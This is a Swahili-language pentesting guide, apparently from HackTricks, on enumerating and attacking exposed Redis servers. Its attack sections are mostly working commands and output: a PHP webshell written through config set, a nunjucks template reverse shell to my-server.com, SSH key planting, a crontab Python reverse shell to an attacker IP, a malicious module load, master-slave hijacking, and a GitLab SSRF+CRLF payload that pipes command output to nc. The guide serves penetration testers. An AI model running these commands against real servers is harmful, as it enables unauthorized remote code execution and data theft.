6379 - Pentesting Redis

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Jiunge na HackenProof Discord server ili kuwasiliana na wakora wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Kuhack Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kuhack

Taarifa za Kuhack za Muda Halisi Kaa up-to-date na ulimwengu wa kuhack wenye kasi kupitia habari za muda halisi na ufahamu

Matangazo ya Karibuni Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wakora bora leo!

Taarifa Msingi

Kutoka nyaraka: Redis ni chanzo wazi (lenye leseni ya BSD), duka la muundo wa data la kumbukumbu, hutumiwa kama database, cache na message broker).

Kwa chaguo-msingi Redis hutumia itifaki inayotegemea maandishi ya wazi, lakini lazima ukumbuke inaweza pia kutekeleza ssl/tls. Jifunze jinsi ya kuendesha Redis na ssl/tls hapa.

Bandari ya chaguo-msingi: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Uchambuzi wa Kiotomatiki

Baadhi ya zana za kiotomatiki zinazoweza kusaidia kupata habari kutoka kwa kipengee cha redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Uchambuzi wa Kuelekea

Bango

Redis ni itifaki inayotegemea maandishi, unaweza tu kutuma amri kwenye soketi na thamani zilizorudishwa zitakuwa zinaweza kusomwa. Pia kumbuka kwamba Redis inaweza kukimbia kwa kutumia ssl/tls (lakini hii ni ya kawaida sana).

Katika kipengele cha kawaida cha Redis unaweza tu kuunganisha kutumia nc au unaweza pia kutumia redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Amri ya kwanza unayoweza kujaribu ni info. Inaweza kurudisha matokeo na habari ya kipengee cha Redis au kitu kama ifuatavyo:

-NOAUTH Authentication required.

Katika kesi hii ya mwisho, hii inamaanisha kwamba unahitaji sifa halali ili kupata ufikiaji wa kipengee cha Redis.

Uthibitishaji wa Redis

Kwa chaguo-msingi Redis inaweza kupatikana bila sifa. Walakini, inaweza kusanidiwa ili kusaidia nenosiri pekee, au jina la mtumiaji + nenosiri. Inawezekana kuweka nenosiri katika faili ya redis.conf kwa parameter requirepass au kwa muda hadi huduma ianzishwe tena kwa kuunganisha na kukimbia: config set requirepass p@ss$12E45. Pia, jina la mtumiaji linaweza kusanidiwa kwa parameter masteruser ndani ya faili ya redis.conf.

Ikiwa nenosiri pekee limewekwa, jina la mtumiaji linalotumiwa ni "default". Pia, kumbuka kwamba hakuna njia ya kugundua kwa nje ikiwa Redis ilisanidiwa na nenosiri pekee au jina la mtumiaji + nenosiri.

Katika kesi kama hii utahitaji kupata sifa halali ili kuingiliana na Redis hivyo unaweza kujaribu kuvunja nguvu. Ikiwa umepata sifa halali unahitaji kuthibitisha kikao baada ya kuanzisha uhusiano na amri:

AUTH <username> <password>

Maelezo halali yatajibiwa na: +OK

Uchambuzi uliothibitishwa

Ikiwa seva ya Redis inaruhusu mawasiliano yasiyojulikana au ikiwa umepata maelezo halali, unaweza kuanzisha mchakato wa uchambuzi wa huduma kwa kutumia amri zifuatazo:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Amri zingine za Redis zinaweza kupatikana hapa na hapa.

Tafadhali kumbuka kwamba Amri za Redis za kipengee zinaweza kubadilishwa jina au kuondolewa katika faili ya redis.conf. Kwa mfano, mstari huu utaondoa amri ya FLUSHDB:

rename-command FLUSHDB ""

Zaidi kuhusu kusanidi kwa usalama huduma ya Redis hapa: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Unaweza pia kuangalia muda halisi amri za Redis zilizotekelezwa kwa amri monitor au kupata 25 ya amri zenye polepole zaidi kwa slowlog get 25

Pata habari zaidi kuhusu amri zaidi za Redis hapa: https://lzone.de/cheat-sheet/Redis

Kudondosha Database

Ndani ya Redis databases ni nambari zinazoanza kutoka 0. Unaweza kugundua ikiwa yeyote anatumika kwenye matokeo ya amri info ndani ya sehemu ya "Keyspace":

Au unaweza tu kupata keyspaces zote (databases) kwa:

INFO keyspace

Katika mfano huo database 0 na 1 zinatumika. Database 0 ina funguo 4 na database 1 ina 1. Kwa chaguo-msingi Redis itatumia database 0. Ili kudump mfano wa database 1 unahitaji kufanya:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Ikiwa unapata kosa la -WRONGTYPE Operation against a key holding the wrong kind of value wakati unatekeleza GET <KEY> ni kwa sababu ufunguo huenda ukawa kitu kingine zaidi ya herufi au nambari na inahitaji mwendeshaji maalum kuonyesha.

Ili kujua aina ya ufunguo, tumia amri ya TYPE, mfano hapa chini kwa ufunguo wa orodha na hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dump the database with npm redis-dump au python redis-utils

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Kudukua Shiriki na yaliyomo yanayochimba kina cha msisimko na changamoto za kudukua

Taarifa za Kudukua za Wakati Halisi Kaa sawa na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu

Matangazo ya Karibuni Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Redis RCE

Kifaa cha Mwingiliano

redis-rogue-server inaweza kupata kiotomatiki kifaa cha mwingiliano au kifaa cha mwingiliano wa nyuma kwa Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Maelezo kutoka hapa. Lazima ujue njia ya folda ya Tovuti:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

​Ikiwa kuna kipekee cha ufikiaji wa webshell, unaweza kufuta database baada ya kufanya nakala rudufu na kujaribu tena, kumbuka kurejesha database.

Kigezo cha Webshell

Kama ilivyokuwa kwenye sehemu iliyopita unaweza pia kubadilisha faili ya templeti ya html ambayo italetwa na injini ya templeti na kupata shell.

Kwa mfano, kufuatia hii andishi, unaweza kuona kwamba mkaidi aliingiza rev shell katika html iliyotafsiriwa na injini ya templeti ya nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Tafadhali kumbuka kwamba mifumo kadhaa ya templeti hufanya cache ya templeti kwenye kumbukumbu, hivyo hata kama unazibadilisha, ile mpya haitatekelezwa. Katika hali hizi, au mwandishi wa programu ameacha upyaaji wa moja kwa moja ukiwa hai au unahitaji kufanya DoS kwenye huduma (na kutarajia itazinduliwa tena moja kwa moja).

SSH

Mfano kutoka hapa

Tafadhali fahamu kwamba matokeo ya config get dir yanaweza kubadilika baada ya amri zingine za kudukua kufanywa kwa mikono. Ni vyema kukimbia amri hiyo kwanza mara baada ya kuingia kwenye Redis. Katika matokeo ya config get dir unaweza kupata nyumbani mwa mtumiaji wa redis (kawaida /var/lib/redis au /home/redis/.ssh), na ukijua hili unajua mahali unaweza kuandika faili ya authenticated_users ili kupata ufikiaji kupitia ssh na mtumiaji redis. Ukijua nyumbani mwa mtumiaji mwingine halali ambapo una ruhusa ya kuandika unaweza pia kuitumia:

  1. Unda jozi ya ufunguo wa umma-binafsi ya ssh kwenye kompyuta yako: ssh-keygen -t rsa

  2. Andika ufunguo wa umma kwenye faili: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Ingiza faili kwenye redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Hifadhi ufunguo wa umma kwenye faili ya authorized_keys kwenye seva ya redis:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Hatimaye, unaweza ssh kwenye seva ya redis na ufunguo wa binafsi: ssh -i id_rsa redis@10.85.0.52

Hii ni mbinu iliyoko hapa: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Mfano wa mwisho ni kwa Ubuntu, kwa Centos, amri hapo juu inapaswa kuwa: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Njia hii inaweza pia kutumika kupata bitcoin: yam

Pakia Moduli ya Redis

  1. Kufuata maagizo kutoka https://github.com/n0b0dyCN/RedisModules-ExecuteCommand unaweza kukusanya moduli ya redis kutekeleza amri za kupindukia.

  2. Kisha unahitaji njia fulani ya kupakia moduli iliyokusanywa

  3. Pakia moduli iliyo pakuliwa wakati wa uendeshaji na MODULE LOAD /path/to/mymodule.so

  4. Orodhesha moduli zilizopakiwa kuangalia ikiwa ilipakiwa kwa usahihi: MODULE LIST

  5. Tekeleza amri:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Pakua moduli wakati wowote unapotaka: MODULE UNLOAD mymodule

Kizuizi cha Sanduku la LUA

Hapa unaweza kuona kuwa Redis hutumia amri EVAL kutekeleza Lua code sandboxed. Katika chapisho lililounganishwa unaweza kuona jinsi ya kulitumia kutumia kazi ya dofile, lakini kwa mujibu wa hili sio tena linalowezekana. Walakini, ikiwa unaweza kupita kizuizi cha Lua unaweza kutekeleza amri za kupindukia kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya chaguzi za kusababisha DoS.

Baadhi ya CVEs za kutoroka kutoka LUA:

Moduli ya Bwana-Mtumwa

Operesheni zote za bwana redis zinasawazishwa moja kwa moja kwa mtumwa redis, ambayo inamaanisha tunaweza kuchukulia udhaifu wa redis kama mtumwa wa redis, uliounganishwa na bwana wa redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu wenyewe.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF kuzungumza na Redis

Ikiwa unaweza kutuma ombi la maandishi wazi kwa Redis, unaweza kutangamana nayo kwani Redis itasoma ombi line kwa line na kujibu tu kwa makosa kwa mistari ambayo haielewi:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Kwa hivyo, ikiwa utapata SSRF vuln kwenye tovuti na unaweza kudhibiti baadhi ya headers (labda na CRLF vuln) au POST parameters, utaweza kutuma amri za kupendelea kwa Redis.

Mfano: Gitlab SSRF + CRLF hadi Shell

Katika Gitlab11.4.7 iligunduliwa SSRF vulnerability na CRLF. SSRF vulnerability ilikuwa katika import project from URL functionality wakati wa kuunda mradi mpya na kuruhusu kupata IPs za kupendelea kwa mfano [0:0:0:0:0:ffff:127.0.0.1] (hii itapata 127.0.0.1), na CRLF vuln ilidukuliwa kwa kuongeza tu wahusika wa %0D%0A kwenye URL.

Kwa hivyo, ilikuwa inawezekana kutumia vulnerabilities hizi kuzungumza na kipengele cha Redis ambacho kinasimamia foleni kutoka gitlab na kutumia foleni hizo kwa kupata utekelezaji wa nambari. Payload ya unyanyasaji wa foleni ya Redis ni:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Na ombi la URL encode linalotumia SSRF na CRLF kutekeleza whoami na kutuma pato kupitia nc ni:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Kwa sababu fulani (kama ilivyokuwa kwa mwandishi wa https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ambapo habari hii ilitoka) uchomaji ulifanya kazi na mpango wa git na sio na mpango wa http.

Jiunge na HackenProof Discord server ili kuzungumza na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa ya programu!

Machapisho ya Udukuzi Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi

Taarifa za Udukuzi za Wakati Halisi Kaa sawa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za habari za wakati halisi

Matangazo ya Karibuni Baki mwelekezwa na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Last updated